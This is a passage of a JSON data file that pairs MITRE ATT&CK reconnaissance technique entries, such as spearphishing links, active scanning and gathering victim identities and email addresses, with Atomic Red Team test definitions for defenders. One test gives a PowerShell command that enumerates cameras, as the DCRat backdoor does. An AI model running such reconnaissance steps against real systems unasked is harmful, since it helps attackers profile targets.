- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Internet Scan: Response Content"
- ],
- "identifier": "T1592.001"
- },
- "atomic_tests": [
- {
- "name": "Enumerate PlugNPlay Camera",
- "auto_generated_guid": "d430bf85-b656-40e7-b238-42db01df0183",
- "description": "Enumerate PlugNPlay Camera using powershell commandlet. this technique was seen in dcrat malware backdoor capabilities where it enumerate the camera info mounted on the compromised host. reference: https://www.mandiant.com/resources/analyzing-dark-crystal-rat-backdoor\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "name": "powershell",
- "elevation_required": true,
- "command": "Get-CimInstance -Query \"SELECT * FROM Win32_PnPEntity WHERE (PNPClass = 'Image' OR PNPClass = 'Camera')\"\n"
- }
- }
- ]
- },
- "T1598.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Philip Winther",
- "Sebastian Salla, McAfee",
- "Robert Simmons, @MalwareUtkonos"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--2d3f5b3c-54ca-4f4d-bb1f-849346d31230",
- "type": "attack-pattern",
- "created": "2020-10-02T17:09:50.723Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1598.003",
- "url": "https://attack.mitre.org/techniques/T1598/003"
- },
- {
- "source_name": "TrendMictro Phishing",
- "url": "https://www.trendmicro.com/en_us/research/20/i/tricky-forms-of-phishing.html",
- "description": "Babon, P. (2020, September 3). Tricky 'Forms' of Phishing. Retrieved October 20, 2020."
- },
- {
- "source_name": "PCMag FakeLogin",
- "url": "https://www.pcmag.com/news/hackers-try-to-phish-united-nations-staffers-with-fake-login-pages",
- "description": "Kan, M. (2019, October 24). Hackers Try to Phish United Nations Staffers With Fake Login Pages. Retrieved October 20, 2020."
- },
- {
- "source_name": "Microsoft Anti Spoofing",
- "url": "https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide",
- "description": "Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020."
- },
- {
- "source_name": "ACSC Email Spoofing",
- "url": "https://www.cyber.gov.au/sites/default/files/2019-03/spoof_email_sender_policy_framework.pdf",
- "description": "Australian Cyber Security Centre. (2012, December). Mitigating Spoofed Emails Using Sender Policy Framework. Retrieved October 19, 2020."
- }
- ],
- "modified": "2022-03-08T21:57:55.192Z",
- "name": "Spearphishing Link",
- "description": "Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser.(Citation: TrendMictro Phishing)(Citation: PCMag FakeLogin) The given website may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to craft persuasive and believable lures.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious email activity, such as numerous accounts receiving messages from a single unusual/unknown sender. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.(Citation: Microsoft Anti Spoofing)(Citation: ACSC Email Spoofing)\n\nMonitor for references to uncategorized or known-bad sites. URL inspection within email (including expanding shortened links) can also help detect links leading to known malicious sites.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow",
- "Application Log: Application Log Content"
- ]
- },
- "atomic_tests": []
- },
- "T1590.004": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--34ab90a3-05f6-4259-8f21-621081fdaba5",
- "type": "attack-pattern",
- "created": "2020-10-02T15:49:03.815Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.004",
- "url": "https://attack.mitre.org/techniques/T1590/004"
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:33:02.476Z",
- "name": "Network Topology",
- "description": "Adversaries may gather information about the victim's network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1590.003": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--36aa137f-5166-41f8-b2f0-a4cfa1b4133e",
- "type": "attack-pattern",
- "created": "2020-10-02T15:47:59.457Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1590.003",
- "url": "https://attack.mitre.org/techniques/T1590/003"
- },
- {
- "source_name": "Pentesting AD Forests",
- "url": "https://www.slideshare.net/rootedcon/carlos-garca-pentesting-active-directory-forests-rooted2019",
- "description": "Garc\u00eda, C. (2019, April 3). Pentesting Active Directory Forests. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:34:22.917Z",
- "name": "Network Trust Dependencies",
- "description": "Adversaries may gather information about the victim's network trust dependencies that can be used during targeting. Information about network trusts may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network trusts may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: Pentesting AD Forests) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1597.001": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--51e54974-a541-4fb6-a61b-0518e4c6de41",
- "type": "attack-pattern",
- "created": "2020-10-02T17:03:45.918Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1597.001",
- "url": "https://attack.mitre.org/techniques/T1597/001"
- },
- {
- "source_name": "D3Secutrity CTI Feeds",
- "url": "https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/",
- "description": "Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:45:30.862Z",
- "name": "Threat Intel Vendors",
- "description": "Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)\n\nAdversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1589": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
- "created": "2020-10-02T14:54:59.263Z",
- "x_mitre_version": "1.2",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1589",
- "url": "https://attack.mitre.org/techniques/T1589"
- },
- {
- "source_name": "OPM Leak",
- "url": "https://www.opm.gov/cybersecurity/cybersecurity-incidents/",
- "description": "Cybersecurity Resource Center. (n.d.). CYBERSECURITY INCIDENTS. Retrieved October 20, 2020."
- },
- {
- "source_name": "Detectify Slack Tokens",
- "url": "https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
- "description": "Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020."
- },
- {
- "source_name": "GitHub truffleHog",
- "url": "https://github.com/dxa4481/truffleHog",
- "description": "Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020."
- },
- {
- "source_name": "GrimBlog UsernameEnum",
- "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/",
- "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021."
- },
- {
- "source_name": "Register Uber",
- "url": "https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
- "description": "McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020."
- },
- {
- "source_name": "GitHub Gitrob",
- "url": "https://github.com/michenriksen/gitrob",
- "description": "Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020."
- },
- {
- "source_name": "CNET Leaks",
- "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
- "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
- },
- {
- "source_name": "Forbes GitHub Creds",
- "url": "https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
- "description": "Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020."
- },
- {
- "source_name": "Register Deloitte",
- "url": "https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/",
- "description": "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
- "modified": "2022-04-21T14:39:39.857Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Gather Victim Identity Information",
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_is_subtechnique": false,
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Content"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1595.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
- "type": "attack-pattern",
- "created": "2020-10-02T16:55:16.047Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1595.002",
- "url": "https://attack.mitre.org/techniques/T1595/002"
- },
- {
- "source_name": "OWASP Vuln Scanning",
- "url": "https://wiki.owasp.org/index.php/OAT-014_Vulnerability_Scanning",
- "description": "OWASP Wiki. (2018, February 16). OAT-014 Vulnerability Scanning. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:20:09.446Z",
- "name": "Vulnerability Scanning",
- "description": "Adversaries may scan victims for vulnerabilities that can be used during targeting. Vulnerability scans typically check if the configuration of a target host/application (ex: software and version) potentially aligns with the target of a specific exploit the adversary may seek to use.\n\nThese scans may also include more broad attempts to [Gather Victim Host Information](https://attack.mitre.org/techniques/T1592) that can be used to identify more commonly known, exploitable vulnerabilities. Vulnerability scans typically harvest running software and version numbers via server banners, listening ports, or other network artifacts.(Citation: OWASP Vuln Scanning) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Flow",
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1596": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--55fc4df0-b42c-479a-b860-7a6761bcaad0",
- "type": "attack-pattern",
- "created": "2020-10-02T16:56:05.810Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1596",
- "url": "https://attack.mitre.org/techniques/T1596"
- },
- {
- "source_name": "WHOIS",
- "url": "https://www.whois.net/",
- "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020."
- },
- {
- "source_name": "DNS Dumpster",
- "url": "https://dnsdumpster.com/",
- "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020."
- },
- {
- "source_name": "Circl Passive DNS",
- "url": "https://www.circl.lu/services/passive-dns/",
- "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020."
- },
- {
- "source_name": "Medium SSL Cert",
- "url": "https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
- "description": "Jain, M. (2019, September 16). Export & Download \u2014 SSL Certificate from Server (Site URL). Retrieved October 20, 2020."
- },
- {
- "source_name": "SSLShopper Lookup",
- "url": "https://www.sslshopper.com/ssl-checker.html",
- "description": "SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020."
- },
- {
- "source_name": "DigitalShadows CDN",
- "url": "https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/",
- "description": "Swisscom & Digital Shadows. (2017, September 6). Content Delivery Networks (CDNs) Can Leave You Exposed \u2013 How You Might Be Affected And What You Can Do About It. Retrieved October 20, 2020."
- },
- {
- "source_name": "Shodan",
- "url": "https://shodan.io",
- "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020."
- }
- ],
- "modified": "2021-04-15T03:50:44.308Z",
- "name": "Search Open Technical Databases",
- "description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
- },
- "atomic_tests": []
- },
- "T1595": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--67073dde-d720-45ae-83da-b12d5e73ca3b",
- "type": "attack-pattern",
- "created": "2020-10-02T16:53:16.526Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1595",
- "url": "https://attack.mitre.org/techniques/T1595"
- },
- {
- "source_name": "Botnet Scan",
- "url": "https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf",
- "description": "Dainotti, A. et al. (2012). Analysis of a \u201c/0\u201d Stealth Scan from a Botnet. Retrieved October 20, 2020."
- },
- {
- "source_name": "OWASP Fingerprinting",
- "url": "https://wiki.owasp.org/index.php/OAT-004_Fingerprinting",
- "description": "OWASP Wiki. (2018, February 16). OAT-004 Fingerprinting. Retrieved October 20, 2020."
- }
- ],
- "modified": "2022-03-08T20:58:13.661Z",
- "name": "Active Scanning",
- "description": "Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.\n\nAdversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content",
- "Network Traffic: Network Traffic Flow"
- ]
- },
- "atomic_tests": []
- },
- "T1589.002": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262",
- "type": "attack-pattern",
- "created": "2020-10-02T14:56:24.866Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1589.002",
- "url": "https://attack.mitre.org/techniques/T1589/002"
- },
- {
- "source_name": "HackersArise Email",
- "url": "https://www.hackers-arise.com/email-scraping-and-maltego",
- "description": "Hackers Arise. (n.d.). Email Scraping and Maltego. Retrieved October 20, 2020."
- },
- {
- "source_name": "CNET Leaks",
- "url": "https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
- "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020."
- },
- {
- "source_name": "GrimBlog UsernameEnum",
- "url": "https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/",
- "description": "GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021."
- }
- ],
- "modified": "2021-12-09T21:49:30.319Z",
- "name": "Email Addresses",
- "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)\n\nGathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "reconnaissance"
- }
- ],
- "x_mitre_detection": "Monitor for suspicious network traffic that could be indicative of probing for email addresses and/or usernames, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Network Traffic: Network Traffic Content"
- ]
- },
- "atomic_tests": []
- },
- "T1590.006": {
- "technique": {
- "x_mitre_platforms": [
- "PRE"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413",
- "type": "attack-pattern",
